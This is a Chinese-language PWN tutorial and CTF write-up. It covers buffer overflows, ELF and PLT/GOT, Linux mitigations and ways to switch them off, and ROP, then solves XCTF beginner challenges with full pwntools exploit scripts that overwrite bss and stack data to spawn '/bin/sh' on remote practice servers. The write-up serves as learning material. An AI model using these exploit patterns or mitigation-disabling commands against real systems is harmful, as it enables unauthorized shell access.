文章目錄
- 前言
- PWN基礎
- 1.1 x86 匯編
- 1.2 ELF 檔案
- 1.3 延遲系結
- 1.4 linux防護
- 1.5 ROP編程
- 1.6 Pwntools
- XCTF-Pwn
- 2.1 get_shell
- 2.2 hello_pwn
- 2.3 level0
- 2.4 level2
- 2.5 string
- 總結
前言
PWN 是一個黑客語法的俚語詞 ,是指攻破設備或者系統 ,發音類似“砰”,對黑客而言,這就是成功實施黑客攻擊的聲音——砰的一聲,被“黑”的電腦或手機就被你操縱,以上是從百度百科上面抄的簡介,個人理解它是向存在漏洞的目標服務器發送特定的資料(EXP),使得其執行惡意代碼或命令,
CTF 中 PWN 型別的題目的目標是拿到 flag,一般是在 linux 平臺下通過二進制/系統呼叫等方式撰寫漏洞利用腳本 exp 來獲取對方服務器的 shell,然后獲得 flag,本文記錄學習下攻防世界 PWN 新手區的題目練習程序:

PWN基礎
| 前置技能 | 相關知識 |
|---|---|
| Linux相關 | Linux 防護機制 (NX/ASLR/Canary/Relro),ELF 檔案格式,系統呼叫,shell 命令,程式的編譯、鏈接、裝載、執行程序 |
| 匯編語言 | 暫存器、匯編指令、函式呼叫堆疊、記憶體地址計算、ROP編程 |
| 分析利用 | pwntools 寫 exp、gdb 除錯、IDA pro 分析、ShellCode 撰寫 |
1.1 x86 匯編
在前面的文章:淺析緩沖區溢位漏洞的利用與Shellcode撰寫 中已對 x86 匯編語言(暫存器、匯編指令)進行簡單的學習和總結,同時對函式呼叫堆疊、堆疊溢位原理、ShellCode 撰寫均進行了介紹,均為 PWN 基礎知識,此處不再展開,請讀者自行跳轉閱讀,

大端小端
二進制可執行程式經常分為小端程式和大端程式,二者的區別其實就是一個存盤方式的區別,小端和大端的區別,是會對我們 PWN 的分析產生影響的(雖然接觸到的 PWN 程式一般為小端存盤),簡單了解下即可,
大端模式(大尾)
* 存盤規則:資料的高位存在記憶體的低位,資料的低位存在記憶體的高位,
* 常見軟體:RAM(手機)上的應用多采用大端模式存盤
小端模式(小尾)
* 存盤規則:資料的低位存在記憶體的低位,資料的高位存在記憶體的高位,
* 常見軟體:Intel AMD CPU上的應用多采用小端模式存盤
當一個變數的值為 0x1122(0x11 為高位元組,0x22 為低位元組),則:
1)在大端程式中,0x11存盤在記憶體的低位,而0x22存盤在記憶體的高位;
2)在小端程式中,0x22存盤在記憶體的低位,而0x11存盤在記憶體的高位,
緩沖區溢位分類
對于緩沖區溢位,一般可以分為 4 種型別,即堆疊溢位、堆溢位、BSS 溢位與格式化串溢位,其中堆疊溢位是最簡單,也是最為常見的一種溢位方式,
void function(char *str)
{
char buffer[10];
strcpy(buffer,str);
}
上面的 strcpy() 將直接把 str 中的內容 copy 到 buffer 中,這樣只要 str 的長度大于 10 ,就會造成 buffer 的溢位,使程式運行出錯,存在像 strcpy() 這樣的問題的標準函式還有 strcat(),sprintf(),vsprintf(),gets(),scanf() 等,對應的有更加安全的函式,即在函式名后加上 _s,如scanf_s()函式,
介紹下幾類格式化串溢位:
1、整數溢位
(1)寬度溢位:把一個寬度較大的運算元賦給寬度較小的運算元,就有可能發生資料截斷或符號位丟失,
#include<stdio.h>
int main()
{
signed int value1 = 10;
usigned int value2 = (unsigned int)value1;
}
(2)算術溢位:該程式即使在接受用戶輸入的時候對 a、b 的賦值做安全性檢查,a*b 依舊可能溢位:
#include<stdio.h>
int main()
{
int a;
int b;
int c=a*b;
return 0;
}
2、陣列索引不在合法范圍內
enum {TABLESIZE = 100};
int *table = NULL;
int insert_in_table(int pos, int value) {
if(!table) {
table = (int *)malloc(sizeof(int) *TABLESIZE);
}
if(pos >= TABLESIZE) {
return -1;
}
table[pos] = value;
return 0;
}
其中 pos 為 int 型別,可能為負數,這會導致在陣列所參考的記憶體邊界之外進行寫入,可以將 pos 型別改為size_t來避免,
3、空字符錯誤
//錯誤
char array[]={'0','1','2','3','4','5','6','7','8'};
//正確的寫法應為:
char array[]={'0','1','2','3','4','5','6','7','8',’\0’};
//或者
char array[11]={'0','1','2','3','4','5','6','7','8','9’};
1.2 ELF 檔案
ELF 是 Linux 中的二進制可執行檔案,相對應的 EXE 則為 Windows 中的二進制可執行檔案,
- elf 的基本資訊存在與 elf 的頭部資訊中,這些資訊包括指令的允許架構、程式的入口等內容;
- 通過
readelf -h <elf_name>來查看頭部資訊; - elf 包括許多節,各節存放不同資料,這些節的資訊存放在節頭表中,可以通過
readelf -s <elf_name>查看,
elf 檔案的節會被映射進記憶體中的段,映射機制是根據節的權限來進行映射的,可讀可寫的節被映射入一個段,只讀的節被映射入一個段,
| 節名 | 存放的資料 |
|---|---|
| .text | 存放程式運行的代碼 |
| .rdata | 存放一些如字串等不可修改的資料 |
| .data | 存放一些已經初始化的可修改的資料 |
| .bss | 存放未被初始化的程式可修改的資料 |
| .plt 與 .got | 程式動態鏈接函式地址 |
1.3 延遲系結
一個程式運行程序中可能會呼叫很多函式,但是在一次運行中并不能保證全部被呼叫,
| 編譯方式 | 靜態編譯 | 動態編譯 |
|---|---|---|
| 基礎含義 | 將所有可能運行到的庫函式一同編譯到可執行檔案中 | 遇到需要呼叫的庫函式時再去元件中尋找 |
| 優點 | 不需要依賴元件,適用于程式使用的元件比較特殊 | 縮小了檔案體積,加快了編譯速度 |
| 缺點 | 體積很大,編譯速度很慢 | 附帶龐大的鏈接庫;若計算機沒安裝對應庫,則程式不能正常運行 |
程式動態鏈接函式地址:
| PLT | GOT |
|---|---|
| 程式鏈接表,用于延遲系結 | 全域偏移表 |
ELF 中有兩個 got 表,分別為:
| .got | .plt.got |
|---|---|
| 用于全域變數的參考地址 | 保存函式的參考地址 |
不管是程式第幾次呼叫外部函式,程式真正呼叫的是 plt 表!
第一次呼叫:
- plt 表會跳到對應的 got 表;
- 此時 got 表存的是 plt 表的一段指令的地址,其作用是準備一些引數進行動態決議;
- 之后會跳到 plt 的表頭,表頭的內容是動態決議函式,將目標地址存入 got 表,
之后的呼叫:
- plt 表跳到對應的 got 表;
- got 表存的是目標地址,直接跳轉到該地址,
1.4 linux防護
現代作業系統提供了許多安全機制來嘗試降低或阻止緩沖區溢位攻擊帶來的安全風險,在撰寫漏洞利用代碼的時候,需要特別注意目標行程是否開啟了對應的安全防護機制,
| Linux防護機制 | canary | NX(Not Executable) | PIE 和 ASLR | ? RELRO |
|---|---|---|---|---|
| 介紹 | 即金絲雀機制:Canary翻譯金絲雀,金絲雀原來是石油工人用來判斷氣體是否有毒 | 使程式中的堆、堆疊、bss段 等可寫的段不可執行 | PIE 指的是 程式記憶體加載基地址隨機化,不能一下子確定程式的基地址 | 主要針對延遲系結機制,使 got 表這種和函式動態鏈接相關的記憶體地址,對用戶只讀 |
| 補充 | 應用于在堆疊保護上則是在初始化一個堆疊幀時在堆疊底(stack overflow 發生的高位區域的尾部)設定一個隨機的 canary 值,當函式回傳之時檢測 canary 的值是否經過了改變,以此來判斷 stack/buffer overflow 是否發生,若改變則說明堆疊溢位發生,程式走另一個流程結束,以免漏洞利用成功 | 該防護機制可導致目標程式不能執行我們自己撰寫的 shellcode,call esp 或 jmp esp 的方法無法使用,但可以利用 rop 的方法繞過 | ASLR 是 使程式運行元件、堆疊等地址隨機化 | 意味著不能劫持 got 表中的函式指標 |
| 繞過方式 | 修改 canary、泄露 canary | 1)用 mprotect 函式來改寫段的權限;2)對于 rop 或 劫持 got 表等利用方式不受影響 | 泄露函式地址,通過偏移確定基地址 | NULL |
使用 gcc 編譯時關閉程式保護的方式:
PIE: gcc -no-pie
ASLR: echo 0 > /proc/sys/kernel/randomize_va_space
RELRO: -z norelro
canary: -fno-stack-protector
NX: -z execstack
做 PWN 題目時可以先借助 checksec 腳本工具來查看目標二進制程式開啟了哪些保護機制:

checksec 可以自行在 Linux 系統上下載安裝(可參見 checksec工具使用),此處為了方便我直接使用 gdb 除錯工具自帶的 checksec 模塊功能,同時 Kali 也自帶該工具,

1.5 ROP編程
堆疊溢位(stack-based buffer overflows)算是安全界常見的漏洞,一方面因為程式員的疏忽,使用了 strcpy、sprintf 等不安全的函式,增加了堆疊溢位漏洞的可能,另一方面,因為堆疊上保存了函式的回傳地址等資訊,因此如果攻擊者能任意覆寫堆疊上的資料,通常情況下就意味著他能修改程式的執行流程,從而造成更大的破壞,
對于以上的漏洞,人們找出了很多解決的辦法,通過硬體或軟體的支持,來保證行程映像中的記憶體區域不能同時可執行或可寫入,比如在 Linux 平臺下則通過 NX(Not Executable)機制使程式中的堆、堆疊、bss段 等可寫的段不可執行,
在此基礎上,衍生了新的攻擊技術 return-to-libc,攻擊者不通過寫入 shellcode 到漏洞程式的行程空間,而是利用已經在記憶體空間中的可執行代碼來執行任意操作,如 libc 中有一些函式可以用于執行其他的行程,例如 execve 和 system,攻擊者只要找到一個堆疊溢位漏洞,并適當的建構式呼叫引數,并使堆疊上回傳地址指向這些函式的起始地址,攻擊者就能以這個程式的權限執行任意其他程式了,這種攻擊方法也有局限性,就是需要當前代碼庫有 system 這樣符合要求的函式,否則就涼拌了,
于是安全人員又提出了一種新的技術,也就是回傳導向編程技術(Return-Oriented Programming,ROP),所謂ROP,簡單的說就是把原來已經存在的代碼塊拼接起來,拼接的方式是通過一個預先準備好的特殊的回傳堆疊,里面包含了各條指令結束后下一條指令的地址,
在一般程式里面,都包含著大量的回傳指令(ret),他們基本位于函式的尾部,或是函式中部需要回傳的地方,而從函式開始的地方到 ret 指令之間的這一段序列稱為二進制指令代碼塊(gadgets),這些二進制指令序列使其組合成完成一些諸如讀寫記憶體、算術邏輯運算、控制流程跳轉、函式呼叫等操作,于是,我們就可以通過利用記憶體空間中各個 gadgets 以某種順序執行,達到進行任意操作的目的,而為了使各個 gadgets “拼接”起來,我們就需要構造一個特殊的回傳堆疊,首先讓指向我們構造的堆疊(stack)的指標跳到 gadget A 中,執行其中的代碼序列后 ret 回我們的 stack 中,然后下一步是跳到 gadget B,執行后就到 gadgets C……只要 stack 足夠大,就能達到我們想要的效果,
ROP 難以構造的地方在于,我們需要在整個記憶體空間中搜索我們需要的 gadgets,這要花費很長的時間,一旦完成“搜索”和“拼接”的步驟,這樣的攻擊卻是難以抵擋的,因為它用到的都是記憶體中合法的代碼,目前,已經有實驗室提出了包括一個掃描可利用代碼、并把它們結合起來的 Constructor,一套專用的語言,以及把這套語言編譯成對應代碼片段之和的編譯器,最后還有一個計算實際代碼地址的 Loader,至于防護的方法,現在主流的辦法分別有:解決堆疊溢位問題、使用“金絲雀”方法偵測和預防堆疊溢位、去掉所有的 ret 指令、增加地址隨機性等,
1.6 Pwntools
Pwntools 是由 Gallopsled 開發的一款專用于 CTF Exploit 的 Python 庫,包含了本地執行、遠程連接讀寫、shellcode 生成、ROP 鏈的構建、ELF 決議、符號泄漏等眾多強大功能,可以說把 EXP 繁瑣的程序變得簡單起來,
(1)專案地址:https://github.com/Gallopsled/pwntools;
(2)官方檔案:http://docs.pwntools.com/en/latest/,
這里只簡單介紹一下它的部分 API 使用:
借助 pwntools 撰寫的 exp 腳本示例:
from pwn import *
coon = remote('111.200.241.244',65238) #連接遠程IP和埠
coon.recv() #接收遠程發來的內容
payload = b'a'*4 + p64(1853186401) #構建溢位攻擊的payload
coon.sendline(payload) #向遠程發送我們的payload
coon.interactive() #與遠程進行互動,腳本執行完畢后程式不退出
XCTF-Pwn
| 序號 | 題目 | 解題關鍵 |
|---|---|---|
| 1 | get_shell | 直接 nc 連接服務即可獲得 Shell |
| 2 | hello_pwn | bss 溢位,撰寫 exp 獲得 Shell |
| 3 | level0 | 64 位二進制程式的緩沖區堆疊溢位 |
| 4 | level2 | ROP 面向回傳的編程 |
2.1 get_shell
1、先來看第一道題 get_shell 認識下簡單的 PWN……查看題目:
2、將附件下載后拖入 IDA 分析,main 函式如下:
3、送分題…顯然直接連接就可以得到權限并執行命令,直接使用 Netcat (下載地址)連接遠程服務,執行 cat flag 命令獲得 flag:

【補充】 Linux system() 函式呼叫 “/bin/sh -c command” 執行特定的命令,阻塞當前行程直到 command 命令執行完畢,/bin/sh 通常是一個軟鏈接,指向某個具體的 shell,好比 bash,-c 選項是告訴 shell 從字串 command 中讀取命令,
2.2 hello_pwn
1、來看看題目:
2、下載附件,先 checksec 看下是 64 位程式,只開了 NX (堆疊不可執行):

3、拖入 DIA 進行反匯編,查看 main 函式偽代碼如下:
跟進 sub_400686() 函式:

程式邏輯分析:
- main 函式先呼叫 setbuf 函式清慷訓沖區,然后 puts 函式列印兩行提示字符;
- 接著 read 函式讓我們輸入資料存入到
601068的地址; - 然后 if 陳述句判斷
60106C的地址如果存放的資料是 1853186401 的話則呼叫并執行 sub_400686() 函式; - sub_400686() 函式將執行系統命令,列印輸出 flag.txt,
綜上所述,獲取 Flag 的關鍵是如何去實作讓60106C 的地址存放的值等于1853186401 ,
通過雙擊查看我們可以知道 dword_60106C 和 unk_601068 這倆變數都在.bss段,并且 dword_60106C 就在離 unk_601068 四個位置的地方:
湊巧的是 unk_601068 變數的值可以被用戶所控制的,它是由用戶輸入的,而輸入點給了用戶 10 個長度的輸入權限,那正好,可以借此覆寫掉 dword_60106C 變數使它成為目標數值(1853186401),
【BSS 溢位】緩沖區溢位除了典型的堆疊溢位和堆溢位外,還有一種發生在 bss 段上的溢位, bss 屬于資料段的一種,通常用來保存未初始化的全域靜態變數,
4、故撰寫 EXP 腳本:
from pwn import *
coon = remote('111.200.241.244',65238) #連接遠程IP和埠
coon.recv() #接收遠程發來的內容
payload = b'a'*4 + p64(1853186401) #構建payload 601068向下輸出4個位元組的內容,此時地址正好到60106c;另一種寫法 payload=`bytes("A",'latin-1')*4+p64(1853186401)`
coon.sendline(payload) #向遠程發送我們的payload
coon.interactive() #與遠程進行互動,就是查看我們的flag
Pycharm 運行 EXP:
提交 Flag,本題 Over:

2.3 level0
先看看題目:
1、使用 Netcat 直接連接遠程服務,回顯 Hello World,隨意輸入字串后自動退出:

2、下載附件 elf 檔案,首先 checksec 看看開啟了什么防護,發現是 64 位ELF 檔案,開啟了 NX(記憶體堆疊不可執行保護機制,傳入堆疊的資料不可直接執行,可以使用 rop 鏈繞過):

3、將 elf 檔案拖入 IDA 進行靜態分析,main() 函式如下:

輸出字串 “Hello World” 之后直接無條件執行 vulnerable_function() 函式,沒有與用戶互動,雙擊跟進去看看:

可以發現 read() 函式每次讀取 200 Byte 的位元組存盤在 buf 中,而 buf 的空間只有 80 Byte,明顯存在堆疊溢位漏洞,
4、繼續查看程式有沒有后門,shift+F12 查看程式中的字串,發現 “/bin/sh”:
雙擊跟進發現 “/bin/sh” 位于函式 callsystem() 函式中:

5、查看 callsystem() 函式的偽代碼:
至此,我們發現目標程式存在堆疊溢位漏洞,同時存在后門,故可以通過堆疊溢位來覆寫函式回傳地址,使程式跳轉到 callsystem() 函式的地址即可成功執行 system 函式,
6、綜上,撰寫 exp 腳本如下:
from pwn import * # 匯入pwntools中pwn包的所有內容
sh = remote('111.200.241.244', 54800) # 鏈接服務器遠程互動,等同于nc ip 埠 命令
elf = ELF('./level0') # 開啟本地程式的句柄,以 ELF 檔案格式讀取 level0 檔案
callsystem_addr = elf.symbols['callsystem'] # symbols函式用于獲取獲取一個標志的地址,這個標志可以是system函式、bss全域變數等
payload = b'a' * 0x80 + b'a' * 8 + p64(callsystem_addr) # 注意這里的payload填充0x80后還需要填充8個位元組(64位)的資料來覆寫rbp,之后才是覆寫retn
sh.sendline(payload) # 接收到Hello, World之后傳入payload
sh.interactive() # 接收反彈的shell、進行互動
7、執行 exp 腳本,成功獲得 Shell 并讀取 flag:

【注意】本題的 exp 腳本應注意構造 Payload 時,在考慮將回傳地址覆寫為 callsystem 函式的地址之前,需要覆寫堆疊中 ebp 部分的空間,詳盡原理參見——淺析緩沖區溢位漏洞的利用與Shellcode撰寫:

2.4 level2
先看看題目,注意題目描述(涉及的 ROP 編程的概念前面已經講了):
1、老規矩 Netcat 連接服務試試,發現讓你輸入一個字串后回傳 Hello World! 就退出了:

2、使用 Checksec 檢查下保護機制:
可以看到是一個 32 位的程式,同時 NX 這項保護是開啟的狀態,這意味著:堆疊中資料沒有執行權限,常用的 call esp 或者 jmp esp 的方法在這里就不能使用了,但是可以利用 rop 這種方法繞過,
3、拖進 IDA 進行靜態分析:

跟進查看 vulnerable_function() 函式:

可以看見 buf 長度是 0x88,但 read() 函式允許我們輸入 0x100 個字符,可發生緩沖區溢位,
4、跟上一題目一樣,看看程式有沒有后門(借助程式自帶的可執行代碼來執行任意操作),Shift+F12 打開字串內容視窗查看程式中的字串,觀察到存在 “system” 和 “/bin/sh” 字串,這是解出題目的關鍵:
可是找不到跟上一題一樣可以直接執行system("/bin/sh")的函式了,這里的 system 函式引數沒有寫,需要我們自己將 /bin/sh 作為引數傳入 system 函式,考查的是 ROP 編程 :
我們可以通過強大的 rop 技術來獲得系統權限,可以通過構造一個system("/bin/sh")的偽堆疊幀,vulnerable_function() 執行結束后回傳到我們構造的偽堆疊幀去執行system("bin/sh"),這樣就可以獲取 shell,
5、綜上,撰寫 exp 腳本如下:
from pwn import *
sh = remote('111.200.241.244', 51837)
elf = ELF('./level2')
system_addr = elf.symbols['system']
binsh_addr = next(elf.search(b'/bin/sh'))
payload = b'a'*(0x88+4) + p32(system_addr) + b'c'*4 + p32(binsh_addr)
sh.sendlineafter(b'Input:',payload) # 在接收到Input:之后傳入payload
sh.interactive()
注意其中的 Payload:
- 0x88 是填充堆疊,增加 4 個 byte(目標應用為 32 位程式) 的 ‘a’ 則是用來填充 ebp 的,之后就是 retn 用 system 的地址覆寫,程式執行完之后就回傳到 system;
- 在進入 system 函式之后,正常的呼叫會有一個回傳的地址這里使用 4 個 byte 的 cccc 覆寫掉(因為我們的目的是通過
system("bin/sh")來獲取shell,所以函式執行完后的回傳地址可以任意); - 最后就是將 /bin/sh 的地址作為 system() 的引數傳入,如此一來堆疊溢位之后就會執行
system("/bin/sh"),
最后運行 EXP 腳本,獲得 Shell 并查看 flag:

2.5 string
未完待續……
總結
本文參考文章:
- pwn 入門基礎;
- Linux PWN漏洞緩解機制&checksec;
- Exploit利器——Pwntools ,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/330123.html
標籤:其他
